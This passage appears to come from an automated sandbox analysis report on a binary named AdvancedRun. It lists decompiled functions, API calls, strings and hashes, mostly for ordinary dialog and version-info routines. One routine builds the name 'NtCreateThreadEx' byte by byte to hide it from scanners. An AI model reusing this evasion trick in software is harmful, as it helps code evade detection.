							} else {
								if(_t73 != 0) {
									L30:
									_t56 = 0;
									__eflags = 0;
								} else {
									_t85 = _a12;
									_t98 = _t85 & 0x0000ffff;
									_v12.x = _t98;
									_v12.y = _t85 >> 0x10;
									_t87 = GetDlgItem( *(__ecx + 0x10), 0x3ec);
									_push(_v12.y);
									_a8 = _t87;
									if(ChildWindowFromPoint( *(_t117 + 0x10), _t98) != _a8) {
										__eflags =  *0x40ff30;
										if( *0x40ff30 == 0) {
											goto L30;
										} else {
											_t89 = GetDlgItem( *(_t117 + 0x10), 0x3ee);
											_push(_v12.y);
											_t90 = ChildWindowFromPoint( *(_t117 + 0x10), _v12);
											__eflags = _t90 - _t89;
											if(_t90 != _t89) {
												goto L30;
											} else {
												_push(0x40ff30);
												goto L7;
											}
										}
									} else {
										_push(_t117 + 0x23e);
										L7:
										_push( *(_t117 + 0x10));
										E00404F7E();
										L8:
										_t56 = 1;
									}
								}
							}
						}
					}
				}
				return _t56;
			}

0x00401093
0x00401096
0x00401097
0x0040109b
0x004010a3
0x004010a5
0x00401270
0x00401278
0x004012b3
0x0040127a
0x00401293
0x004012a2
0x004012a2
0x004012c1
0x004012d9
0x004012ea
0x004012ec
0x004012f6
0x00000000
0x004010ab
0x004010ab
0x004010ac
0x00401231
0x00401236
0x00401239
0x0040123d
0x00401249
0x00401249
0x0040124c
0x00000000
0x00401252
0x00401259
0x00401265
0x00000000
0x00401265
0x0040123f
0x0040123f
0x00401243
0x00000000
0x00000000
0x00000000
0x00000000
0x00401243
0x004010b2
0x004010b2
0x004010b5
0x004011e1
0x004011e3
0x004011e6
0x0040120e
0x00401216
0x00000000
0x0040121c
0x00401224
0x00401226
0x00401229
0x00000000
0x0040122f
0x00000000
0x0040122f
0x00401229
0x004011e8
0x004011e8
0x004011ed
0x004011fb
0x00401203
0x00401203
0x004010bb
0x004010bb
0x004010c0
0x00401151
0x0040115a
0x00401168
0x0040116b
0x0040116e
0x00401170
0x00401173
0x00401180
0x00401182
0x00401185
0x004011a4
0x004011ac
0x00000000
0x004011b2
0x004011ba
0x004011bc
0x004011c7
0x004011c9
0x004011cb
0x00000000
0x004011d1
0x00000000
0x004011d1
0x004011cb
0x00401187
0x00401187
0x00401199
0x00000000
0x00401199
0x004010c6
0x004010c8
0x004012fd
0x004012fd
0x004012fd
0x004010ce
0x004010ce
0x004010d7
0x004010e5
0x004010e8
0x004010eb
0x004010ed
0x004010f0
0x00401102
0x0040111d
0x00401125
0x00000000
0x0040112b
0x00401133
0x00401135
0x00401140
0x00401142
0x00401144
0x00000000
0x0040114a
0x0040114a
0x00000000
0x0040114a
0x00401144
0x00401104
0x0040110a
0x0040110b
0x0040110b
0x0040110e
0x00401115
0x00401117
0x00401117
0x00401102
0x004010c8
0x004010c0
0x004010b5
0x004010ac
0x00401303

APIs

GetDlgItem.USER32 ref: 004010EB
ChildWindowFromPoint.USER32 ref: 004010FD
GetDlgItem.USER32 ref: 00401133
ChildWindowFromPoint.USER32 ref: 00401140
GetDlgItem.USER32 ref: 0040116E
ChildWindowFromPoint.USER32 ref: 00401180
GetModuleHandleW.KERNEL32(00000000,?,?), ref: 00401189
LoadCursorW.USER32(00000000,00000067), ref: 00401192
SetCursor.USER32(00000000,?,?), ref: 00401199
GetDlgItem.USER32 ref: 004011BA
ChildWindowFromPoint.USER32 ref: 004011C7
GetDlgItem.USER32 ref: 004011E1
SetBkMode.GDI32(?,00000001), ref: 004011ED
SetTextColor.GDI32(?,00C00000), ref: 004011FB
GetSysColorBrush.USER32(0000000F), ref: 00401203
GetDlgItem.USER32 ref: 00401224
EndDialog.USER32 ref: 00401259
DeleteObject.GDI32(?), ref: 00401265
GetDlgItem.USER32 ref: 0040128A
ShowWindow.USER32(00000000), ref: 00401293
GetDlgItem.USER32 ref: 0040129F
ShowWindow.USER32(00000000), ref: 004012A2
SetDlgItemTextW.USER32 ref: 004012B3
SetWindowTextW.USER32(?,AdvancedRun), ref: 004012C1
SetDlgItemTextW.USER32 ref: 004012D9
SetDlgItemTextW.USER32 ref: 004012EA

Strings

AdvancedRun, xrefs: 004012B9

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Item$Window$Text$ChildFromPoint$ColorCursorShow$BrushDeleteDialogHandleLoadModeModuleObject
String ID: AdvancedRun
API String ID: 829165378-481304740
Opcode ID: a07d2d5b487f31c3e1d27064e8330fba163acc1cc8c3fec135df1b57c4fd270f
Instruction ID: 224fbb10fd18d8c83ffedf6f1f5ae1765c75c0bde1a98b5884793aa0480d770d
Opcode Fuzzy Hash: a07d2d5b487f31c3e1d27064e8330fba163acc1cc8c3fec135df1b57c4fd270f
Instruction Fuzzy Hash: 12517D31510308EBDB216FA0DD84E6A7BB6FB44304F104A3AFA11B65F1CB79A954EB18

Uniqueness

Uniqueness Score: -1.00%

Function 00408ADB, Relevance: 42.2, APIs: 22, Strings: 2, Instructions: 216
windowCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E00408ADB(void* __ecx, void* __edx, void* __eflags, struct HWND__* _a4, void* _a8, unsigned int _a12) {
				void _v259;
				void _v260;
				void _v515;
				void _v516;
				char _v1048;
				void _v1052;
				void _v1056;
				void _v1560;
				long _v1580;
				void _v3626;
				char _v3628;
				void _v5674;
				char _v5676;
				void _v9770;
				short _v9772;
				void* __edi;
				void* _t45;
				void* _t60;
				int _t61;
				int _t63;
				int _t64;
				long _t68;
				struct HWND__* _t94;
				signed int _t103;
				intOrPtr _t127;
				unsigned int _t130;
				void* _t132;
				void* _t135;

				E0040B550(0x2628, __ecx);
				_t45 = _a8 - 0x110;
				if(_t45 == 0) {
					E00404DA9(__edx, _a4, 4);
					_v9772 = 0;
					memset( &_v9770, 0, 0xffe);
					_t103 = 5;
					memcpy( &_v1580, L"{Unknown}", _t103 << 2);
					memset( &_v1560, 0, 0x1f6);
					_v260 = 0;
					memset( &_v259, 0, 0xff);
					_v516 = 0;
					memset( &_v515, 0, 0xff);
					_v5676 = 0;
					memset( &_v5674, 0, 0x7fe);
					_v3628 = 0;
					memset( &_v3626, 0, 0x7fe);
					_t135 = _t132 + 0x5c;
					_t60 = GetCurrentProcess();
					_t105 =  &_v260;
					_a8 = _t60;
					_t61 = ReadProcessMemory(_t60,  *0x40f3bc,  &_v260, 0x80, 0);
					__eflags = _t61;
					if(_t61 != 0) {
						E00404FE0( &_v5676,  &_v260, 4);
						_pop(_t105);
					}
					_t63 = ReadProcessMemory(_a8,  *0x40f3b0,  &_v516, 0x80, 0);
					__eflags = _t63;
					if(_t63 != 0) {
						E00404FE0( &_v3628,  &_v516, 0);
						_pop(_t105);
					}
					_t64 = E00404BD3();
					__eflags = _t64;
					if(_t64 == 0) {
						E004090EE();
					} else {
						E00409172();
					}
					__eflags =  *0x4101b8; // 0x0
					if(__eflags != 0) {
						L17:
						_v1056 = 0;
						memset( &_v1052, 0, 0x218);
						_t127 =  *0x40f5d4; // 0x0
						_t135 = _t135 + 0xc;
						_t68 = GetCurrentProcessId();
						_push(_t127);
						_push(_t68);
						 *0x40f84c = 0;
						E004092F0(_t105, __eflags);
						__eflags =  *0x40f84c; // 0x0
						if(__eflags != 0) {
							memcpy( &_v1056, 0x40f850, 0x21c);
							_t135 = _t135 + 0xc;
							__eflags =  *0x40f84c; // 0x0
							if(__eflags != 0) {
								wcscpy( &_v1580, E00404B3E( &_v1048));
							}
						}
						goto L20;
					} else {
						__eflags =  *0x4101bc; // 0x0
						if(__eflags == 0) {
							L20:
							_push( &_v3628);
							_push( &_v5676);
							_push( *0x40f3b0);
							_push( *0x40f3bc);
							_push( *0x40f3ac);
							_push( *0x40f394);
							_push( *0x40f398);
							_push( *0x40f3a0);
							_push( *0x40f3a4);
							_push( *0x40f39c);
							_push( *0x40f3a8);
							_push( &_v1580);
							_push( *0x40f5d4);
							_push( *0x40f5c8);
							_push(L"Exception %8.8X at address %8.8X in module %s\r\nRegisters: \r\nEAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8X\r\nESI=%8.8X EDI=%8.8X EBP=%8.8X ESP=%8.8X\r\nEIP=%8.8X\r\nStack Data: %s\r\nCode Data: %s\r\n");
							_push(0x800);
							_push( &_v9772);
							L0040B1EC();
							SetDlgItemTextW(_a4, 0x3ea,  &_v9772);
							SetFocus(GetDlgItem(_a4, 0x3ea));
							L21:
							return 0;
						}
						goto L17;
					}
				}
				if(_t45 == 1) {
					_t130 = _a12;
					if(_t130 >> 0x10 == 0) {
						if(_t130 == 3) {
							_t94 = GetDlgItem(_a4, 0x3ea);
							_a4 = _t94;
							SendMessageW(_t94, 0xb1, 0, 0xffff);
							SendMessageW(_a4, 0x301, 0, 0);
							SendMessageW(_a4, 0xb1, 0, 0);
						}
					}
				}
				goto L21;
			}

0x00408ae3
0x00408aeb
0x00408af3
0x00408b76
0x00408b8a
0x00408b91
0x00408b98
0x00408bb1
0x00408bb3
0x00408bc6
0x00408bcc
0x00408bda
0x00408be0
0x00408bf3
0x00408bfa
0x00408c0b
0x00408c12
0x00408c17
0x00408c1a
0x00408c2c
0x00408c39
0x00408c3d
0x00408c3f
0x00408c41
0x00408c52
0x00408c58
0x00408c58
0x00408c6f
0x00408c71
0x00408c73
0x00408c83
0x00408c89
0x00408c89
0x00408c8a
0x00408c8f
0x00408c91
0x00408c9a
0x00408c93
0x00408c93
0x00408c93
0x00408c9f
0x00408ca5
0x00408caf
0x00408cbc
0x00408cc2
0x00408cc7
0x00408ccd
0x00408cd0
0x00408cd6
0x00408cd7
0x00408cd8
0x00408cde
0x00408ce3
0x00408ceb
0x00408cfe
0x00408d03
0x00408d06
0x00408d0c
0x00408d21
0x00408d27
0x00408d0c
0x00000000
0x00408ca7
0x00408ca7
0x00408cad
0x00408d28
0x00408d2e
0x00408d35
0x00408d36
0x00408d42
0x00408d48
0x00408d4e
0x00408d54
0x00408d5a
0x00408d60
0x00408d66
0x00408d6c
0x00408d72
0x00408d73
0x00408d7f
0x00408d85
0x00408d8a
0x00408d8f
0x00408d90
0x00408da8
0x00408db9
0x00408dbf
0x00408dc5
0x00408dc5
0x00000000
0x00408cad
0x00408ca5
0x00408af6
0x00408afc
0x00408b07
0x00408b2a
0x00408b38
0x00408b53
0x00408b56
0x00408b62
0x00408b6a
0x00408b6a
0x00408b2a
0x00408b07
0x00000000

APIs

EndDialog.USER32 ref: 00408B20
GetDlgItem.USER32 ref: 00408B38
SendMessageW.USER32(00000000,000000B1,00000000,0000FFFF), ref: 00408B56
SendMessageW.USER32(?,00000301,00000000,00000000), ref: 00408B62
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00408B6A
memset.MSVCRT ref: 00408B91
memset.MSVCRT ref: 00408BB3
memset.MSVCRT ref: 00408BCC
memset.MSVCRT ref: 00408BE0
memset.MSVCRT ref: 00408BFA
memset.MSVCRT ref: 00408C12
GetCurrentProcess.KERNEL32 ref: 00408C1A
ReadProcessMemory.KERNEL32(00000000,?,00000080,00000000), ref: 00408C3D
ReadProcessMemory.KERNEL32(?,?,00000080,00000000), ref: 00408C6F
memset.MSVCRT ref: 00408CC2
GetCurrentProcessId.KERNEL32 ref: 00408CD0
memcpy.MSVCRT ref: 00408CFE
wcscpy.MSVCRT ref: 00408D21
_snwprintf.MSVCRT ref: 00408D90
SetDlgItemTextW.USER32 ref: 00408DA8
GetDlgItem.USER32 ref: 00408DB2
SetFocus.USER32(00000000), ref: 00408DB9

Strings

{Unknown}, xrefs: 00408BA5
Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X, xrefs: 00408D85

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$Process$ItemMessageSend$CurrentMemoryRead$DialogFocusText_snwprintfmemcpywcscpy
String ID: Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X${Unknown}
API String ID: 4111938811-1819279800
Opcode ID: da6163a693f44e98dc338dc238bd85c57536ed619285caa4b2ce51e2a39adb2b
Instruction ID: 89cdabe1f300c5598f457b205db6f7bf21b56caa474a1127ebd0a37068e91017
Opcode Fuzzy Hash: da6163a693f44e98dc338dc238bd85c57536ed619285caa4b2ce51e2a39adb2b
Instruction Fuzzy Hash: FD7184B280021DBEDB219B51DD85EDB377CEF08354F0444BAFA08B6191DB799E848F68

Uniqueness

Uniqueness Score: -1.00%

Function 0040B04D, Relevance: 33.4, APIs: 8, Strings: 11, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040B04D(intOrPtr* __edi, short* _a4) {
				int _v8;
				void* _v12;
				void* _v16;
				int _v20;
				long _v60;
				char _v572;
				void* __esi;
				int _t47;
				void* _t50;
				signed short* _t76;
				void* _t81;
				void* _t84;
				intOrPtr* _t96;
				int _t97;

				_t96 = __edi;
				_t97 = 0;
				_v20 = 0;
				_t47 = GetFileVersionInfoSizeW(_a4,  &_v20);
				_v8 = _t47;
				if(_t47 > 0) {
					_t50 = E00405AA7(__edi);
					_push(_v8);
					L0040B26C();
					_t84 = _t50;
					GetFileVersionInfoW(_a4, 0, _v8, _t84);
					if(VerQueryValueW(_t84, "\\",  &_v12,  &_v8) != 0) {
						_t81 = _v12;
						_t11 = _t81 + 0x30; // 0x4d46e853
						 *((intOrPtr*)(__edi + 4)) =  *_t11;
						_t13 = _t81 + 8; // 0x8d50ffff
						 *__edi =  *_t13;
						_t14 = _t81 + 0x14; // 0x5900004d
						 *((intOrPtr*)(__edi + 0xc)) =  *_t14;
						_t16 = _t81 + 0x10; // 0x65e850ff
						 *((intOrPtr*)(__edi + 8)) =  *_t16;
						_t18 = _t81 + 0x24; // 0xf4680000
						 *((intOrPtr*)(__edi + 0x10)) =  *_t18;
						_t20 = _t81 + 0x28; // 0xbb0040cd
						 *((intOrPtr*)(__edi + 0x14)) =  *_t20;
					}
					if(VerQueryValueW(_t84, L"\\VarFileInfo\\Translation",  &_v16,  &_v8) == 0) {
						L5:
						wcscpy( &_v60, L"040904E4");
					} else {
						_t76 = _v16;
						_push(_t76[1] & 0x0000ffff);
						_push( *_t76 & 0x0000ffff);
						_push(L"%4.4X%4.4X");
						_push(0x14);
						_push( &_v60);
						L0040B1EC();
						if(E0040AFBE( &_v572, _t84,  &_v60, 0x40c4e8) == 0) {
							goto L5;
						}
					}
					E0040AFBE(_t96 + 0x18, _t84,  &_v60, L"ProductName");
					E0040AFBE(_t96 + 0x218, _t84,  &_v60, L"FileDescription");
					E0040AFBE(_t96 + 0x418, _t84,  &_v60, L"FileVersion");
					E0040AFBE(_t96 + 0x618, _t84,  &_v60, L"ProductVersion");
					E0040AFBE(_t96 + 0x818, _t84,  &_v60, L"CompanyName");
					E0040AFBE(_t96 + 0xa18, _t84,  &_v60, L"InternalName");
					E0040AFBE(_t96 + 0xc18, _t84,  &_v60, L"LegalCopyright");
					E0040AFBE(_t96 + 0xe18, _t84,  &_v60, L"OriginalFileName");
					_push(_t84);
					_t97 = 1;
					L0040B272();
				}
				return _t97;
			}

0x0040b04d
0x0040b05e
0x0040b060
0x0040b063
0x0040b06a
0x0040b06d
0x0040b076
0x0040b07b
0x0040b07e
0x0040b084
0x0040b08e
0x0040b0a8
0x0040b0aa
0x0040b0ad
0x0040b0b0
0x0040b0b3
0x0040b0b6
0x0040b0b8
0x0040b0bb
0x0040b0be
0x0040b0c1
0x0040b0c4
0x0040b0c7
0x0040b0ca
0x0040b0cd
0x0040b0cd
0x0040b0e5
0x0040b11f
0x0040b128
0x0040b0e7
0x0040b0e7
0x0040b0f1
0x0040b0f2
0x0040b0f3
0x0040b0fb
0x0040b0fd
0x0040b0fe
0x0040b11d
0x00000000
0x00000000
0x0040b11d
0x0040b13c
0x0040b151
0x0040b166
0x0040b17b
0x0040b190
0x0040b1a5
0x0040b1ba
0x0040b1cf
0x0040b1d6
0x0040b1d7
0x0040b1d8
0x0040b1de
0x0040b1e3

APIs

GetFileVersionInfoSizeW.VERSION(004064D2,?,00000000), ref: 0040B063
??2@YAPAXI@Z.MSVCRT ref: 0040B07E
GetFileVersionInfoW.VERSION(004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B08E
VerQueryValueW.VERSION(00000000,0040CD2C,004064D2,?,004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B0A1
VerQueryValueW.VERSION(00000000,\VarFileInfo\Translation,?,?,00000000,0040CD2C,004064D2,?,004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B0DE
_snwprintf.MSVCRT ref: 0040B0FE
wcscpy.MSVCRT ref: 0040B128
??3@YAXPAX@Z.MSVCRT ref: 0040B1D8

Strings

\VarFileInfo\Translation, xrefs: 0040B0D8
ProductVersion, xrefs: 0040B16B
ProductName, xrefs: 0040B12F
InternalName, xrefs: 0040B195
%4.4X%4.4X, xrefs: 0040B0F3
FileDescription, xrefs: 0040B141
FileVersion, xrefs: 0040B156
OriginalFileName, xrefs: 0040B1BF
CompanyName, xrefs: 0040B180
LegalCopyright, xrefs: 0040B1AA
040904E4, xrefs: 0040B122

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: FileInfoQueryValueVersion$??2@??3@Size_snwprintfwcscpy
String ID: %4.4X%4.4X$040904E4$CompanyName$FileDescription$FileVersion$InternalName$LegalCopyright$OriginalFileName$ProductName$ProductVersion$\VarFileInfo\Translation
API String ID: 1223191525-1542517562
Opcode ID: 7d0a25dbe63dd51685ec4fd467e5617a4705a8ce8e8c15efb6301eb2ec3eaad9
Instruction ID: 283451b663653e95218ba9e6ce5340ec929c4f2fba7a9b8c11281d5ea0e9195a
Opcode Fuzzy Hash: 7d0a25dbe63dd51685ec4fd467e5617a4705a8ce8e8c15efb6301eb2ec3eaad9
Instruction Fuzzy Hash: E34144B2940219BAC704EBA5DD41DDEB7BDEF08704F100177B905B3181DB78AA59CBD8

Uniqueness

Uniqueness Score: -1.00%

Function 0040A1EF, Relevance: 33.3, APIs: 2, Strings: 17, Instructions: 47
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E0040A1EF(struct HINSTANCE__** __esi) {
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				struct HINSTANCE__* _t27;

				if( *__esi != 0) {
					L3:
					return 1;
				}
				_t27 = LoadLibraryW(L"ntdll.dll");
				 *__esi = _t27;
				if(_t27 != 0) {
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosw");
					asm("stosb");
					_v24 = 0x4e;
					_v23 = 0x74;
					_v13 = 0x65;
					_v12 = 0x61;
					_v18 = 0x74;
					_v17 = 0x65;
					_v22 = 0x43;
					_v14 = 0x72;
					_v11 = 0x64;
					_v21 = 0x72;
					_v10 = 0x45;
					_v9 = 0x78;
					_v20 = 0x65;
					_v19 = 0x61;
					_v16 = 0x54;
					_v15 = 0x68;
					_v8 = 0;
					__esi[1] = GetProcAddress(_t27,  &_v24);
					goto L3;
				}
				return 0;
			}

0x0040a1f8
0x0040a26d
0x00000000
0x0040a26f
0x0040a205
0x0040a20b
0x0040a20d
0x0040a213
0x0040a214
0x0040a215
0x0040a216
0x0040a217
0x0040a219
0x0040a21f
0x0040a223
0x0040a227
0x0040a22b
0x0040a22f
0x0040a233
0x0040a237
0x0040a23b
0x0040a23f
0x0040a243
0x0040a247
0x0040a24b
0x0040a24f
0x0040a253
0x0040a257
0x0040a25b
0x0040a25f
0x0040a269
0x00000000
0x0040a26c
0x0040a271

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,?,?,?,0040A2A4), ref: 0040A1FF
GetProcAddress.KERNEL32(00000000,?), ref: 0040A263

Strings

r, xrefs: 0040A243
T, xrefs: 0040A257
e, xrefs: 0040A233
a, xrefs: 0040A22B
E, xrefs: 0040A247
t, xrefs: 0040A223
C, xrefs: 0040A237
e, xrefs: 0040A24F
r, xrefs: 0040A23B
a, xrefs: 0040A253
ntdll.dll, xrefs: 0040A1FA
d, xrefs: 0040A23F
x, xrefs: 0040A24B
t, xrefs: 0040A22F
N, xrefs: 0040A21F
e, xrefs: 0040A227
h, xrefs: 0040A25B

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressLibraryLoadProc
String ID: C$E$N$T$a$a$d$e$e$e$h$ntdll.dll$r$r$t$t$x
API String ID: 2574300362-1257427173
Opcode ID: 7c4b767998ad850fb5a7cf24f594afd5e084a11fa120f3cae330cd392d2e2909
Instruction ID: 28a3addb3bc40b583479f690f9d6e65064931713b616a12c977b5f47a4008353
Opcode Fuzzy Hash: 7c4b767998ad850fb5a7cf24f594afd5e084a11fa120f3cae330cd392d2e2909
Instruction Fuzzy Hash: 08110A2090C6C9EDEB12C7FCC40879EBEF15B26709F0881ECC585B6292C6BA5758C776

Uniqueness

Uniqueness Score: -1.00%

Function 00407F8D, Relevance: 33.1, APIs: 22, Instructions: 137
windowCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00407F8D(void* __eax) {
				struct _SHFILEINFOW _v692;
				void _v1214;
				short _v1216;
				void* _v1244;
				void* _v1248;
				void* _v1252;
				void* _v1256;
				void* _v1268;
				void* _t37;
				long _t38;
				long _t46;
				long _t48;
				long _t58;
				void* _t62;
				intOrPtr* _t64;

				_t64 = ImageList_Create;
				_t62 = __eax;
				if( *((intOrPtr*)(__eax + 0x2b4)) != 0) {
					if( *((intOrPtr*)(__eax + 0x2bc)) == 0) {
						_t48 = ImageList_Create(0x10, 0x10, 0x19, 1, 1);
						 *(_t62 + 0x2a8) = _t48;
						__imp__ImageList_SetImageCount(_t48, 0);
						_push( *(_t62 + 0x2a8));
					} else {
						_v692.hIcon = 0;
						memset( &(_v692.iIcon), 0, 0x2b0);
						_v1216 = 0;
						memset( &_v1214, 0, 0x208);
						GetWindowsDirectoryW( &_v1216, 0x104);
						_t58 = SHGetFileInfoW( &_v1216, 0,  &_v692, 0x2b4, 0x4001);
						 *(_t62 + 0x2a8) = _t58;
						_push(_t58);
					}
					SendMessageW( *(_t62 + 0x2a0), 0x1003, 1, ??);
				}
				if( *((intOrPtr*)(_t62 + 0x2b8)) != 0) {
					_t46 =  *_t64(0x20, 0x20, 0x19, 1, 1);
					 *(_t62 + 0x2ac) = _t46;
					__imp__ImageList_SetImageCount(_t46, 0);
					SendMessageW( *(_t62 + 0x2a0), 0x1003, 0,  *(_t62 + 0x2ac));
				}
				 *(_t62 + 0x2a4) =  *_t64(0x10, 0x10, 0x19, 1, 1);
				_v1248 = LoadImageW(GetModuleHandleW(0), 0x85, 0, 0x10, 0x10, 0x1000);
				_t37 = LoadImageW(GetModuleHandleW(0), 0x86, 0, 0x10, 0x10, 0x1000);
				_v1244 = _t37;
				__imp__ImageList_SetImageCount( *(_t62 + 0x2a4), 0);
				_t38 = GetSysColor(0xf);
				_v1248 = _t38;
				ImageList_AddMasked( *(_t62 + 0x2a4), _v1256, _t38);
				ImageList_AddMasked( *(_t62 + 0x2a4), _v1252, _v1248);
				DeleteObject(_v1268);
				DeleteObject(_v1268);
				return SendMessageW(E0040331D( *(_t62 + 0x2a0)), 0x1208, 0,  *(_t62 + 0x2a4));
			}

0x00407f9b
0x00407fa3
0x00407fad
0x00407fb9
0x0040802e
0x00408032
0x00408038
0x0040803e
0x00407fbb
0x00407fc9
0x00407fd0
0x00407fe0
0x00407fe5
0x00407ff7
0x00408015
0x0040801b
0x00408021
0x00408021
0x00408051
0x00408051
0x00408059
0x00408065
0x00408069
0x0040806f
0x00408087
0x00408087
0x0040809c
0x004080bb
0x004080d1
0x004080de
0x004080e2
0x004080ea
0x004080fb
0x00408105
0x00408115
0x00408121
0x00408127
0x00408150

APIs

memset.MSVCRT ref: 00407FD0
memset.MSVCRT ref: 00407FE5
GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00407FF7
SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00004001), ref: 00408015
ImageList_Create.COMCTL32(00000010,00000010,00000019,00000001,00000001), ref: 0040802E
ImageList_SetImageCount.COMCTL32(00000000,00000000), ref: 00408038
SendMessageW.USER32(?,00001003,00000001,?), ref: 00408051
ImageList_Create.COMCTL32(00000020,00000020,00000019,00000001,00000001), ref: 00408065
ImageList_SetImageCount.COMCTL32(00000000,00000000), ref: 0040806F
SendMessageW.USER32(?,00001003,00000000,?), ref: 00408087
ImageList_Create.COMCTL32(00000010,00000010,00000019,00000001,00000001), ref: 00408093
GetModuleHandleW.KERNEL32(00000000), ref: 004080A2
LoadImageW.USER32 ref: 004080B4
GetModuleHandleW.KERNEL32(00000000), ref: 004080BF
LoadImageW.USER32 ref: 004080D1
ImageList_SetImageCount.COMCTL32(?,00000000), ref: 004080E2
GetSysColor.USER32(0000000F), ref: 004080EA
ImageList_AddMasked.COMCTL32(?,00000000,00000000), ref: 00408105
ImageList_AddMasked.COMCTL32(?,?,?), ref: 00408115
DeleteObject.GDI32(?), ref: 00408121
DeleteObject.GDI32(?), ref: 00408127
SendMessageW.USER32(00000000,00001208,00000000,?), ref: 00408144

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Image$List_$CountCreateMessageSend$DeleteHandleLoadMaskedModuleObjectmemset$ColorDirectoryFileInfoWindows
String ID:
API String ID: 304928396-0
Opcode ID: d4ab9f05862d1af7c7dd0e0dd7fd39e91fe05cdd650fdb134c44776c28691368
Instruction ID: fc02d650de5297a4f4a3b2912da131a5170d4a501b91b7a2a94f7b4638737e48
Opcode Fuzzy Hash: d4ab9f05862d1af7c7dd0e0dd7fd39e91fe05cdd650fdb134c44776c28691368
Instruction Fuzzy Hash: 8F418971640304FFE6306B61DD8AF977BACFF89B00F00092DB795A51D1DAB55450DB29

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE90, Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E0040AE90(void* __esi, wchar_t* _a4, wchar_t* _a8) {
				int _v8;
				void _v518;
				long _v520;
				void _v1030;
				char _v1032;
				intOrPtr _t32;
				wchar_t* _t57;
				void* _t58;
				void* _t59;
				void* _t60;

				_t58 = __esi;
				_v520 = 0;
				memset( &_v518, 0, 0x1fc);
				_v1032 = 0;
				memset( &_v1030, 0, 0x1fc);
				_t60 = _t59 + 0x18;
				_v8 = 1;
				if( *((intOrPtr*)(__esi + 4)) == 0xffffffff &&  *((intOrPtr*)(__esi + 8)) <= 0) {
					_v8 = 0;
				}
				_t57 = _a4;
				 *_t57 = 0;
				if(_v8 != 0) {
					wcscpy(_t57, L"<font");
					_t32 =  *((intOrPtr*)(_t58 + 8));
					if(_t32 > 0) {
						_push(_t32);
						_push(L" size=\"%d\"");
						_push(0xff);
						_push( &_v520);
						L0040B1EC();
						wcscat(_t57,  &_v520);
						_t60 = _t60 + 0x18;
					}
					_t33 =  *((intOrPtr*)(_t58 + 4));
					if( *((intOrPtr*)(_t58 + 4)) != 0xffffffff) {
						_push(E0040ADC0(_t33,  &_v1032));
						_push(L" color=\"#%s\"");
						_push(0xff);
						_push( &_v520);
						L0040B1EC();
						wcscat(_t57,  &_v520);
					}
					wcscat(_t57, ">");
				}
				if( *((intOrPtr*)(_t58 + 0xc)) != 0) {
					wcscat(_t57, L"<b>");
				}
				wcscat(_t57, _a8);
				if( *((intOrPtr*)(_t58 + 0xc)) != 0) {
					wcscat(_t57, L"</b>");
				}
				if(_v8 != 0) {
					wcscat(_t57, L"</font>");
				}
				return _t57;
			}

0x0040ae90
0x0040aeab
